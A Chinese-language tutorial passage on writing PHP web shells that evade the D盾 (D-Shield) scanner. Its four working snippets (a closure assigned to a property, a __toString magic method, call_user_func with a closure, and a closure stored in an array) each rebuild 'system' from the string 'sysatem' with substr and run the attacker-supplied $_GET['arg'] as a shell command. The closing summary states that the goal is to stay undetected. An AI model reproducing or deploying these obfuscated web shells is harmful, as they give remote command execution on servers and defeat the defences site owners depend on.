赋值给变量
也可以不放在函数的返回值中,直接把匿名函数赋值给一个变量,更方便一点
<?php class Test { public $greet; public function __construct () { $this->greet = function () { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; } } $a=new Test(); //var_dump($a->greet); $b=$a->greet; $b(); ?>
利用魔术方法
利用上之前的echo函数,把一个对象当作字符串输出,可以触发__toString魔术方法,还可以利用上其他的魔术方法,__call __set __get等
<?php class Test { public function __toString() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); return '1'; } } $a=new Test(); echo $a; ?>
回调函数
简单来说,当给一个函数传入参数时,传入了一个函数作为参数就叫函数回调
使用回调函数换掉可变函数,调用匿名函数
call_user_func
<?php $greet = function(){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; call_user_func($greet)
数组赋值
$greet 赋值给数组,也可以执行
<?php $greet = function(){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $array['func']=$greet; call_user_func($array['func']);同样可以绕过
总结一下:主要是利用了匿名函数的一些构造方式,执行代码的核心点还是(substr($method,0,3).substr($method, 4))($_GET['arg']); 没有变过
主要是在可变函数这里展开了一些绕过方式,让D盾检测不出来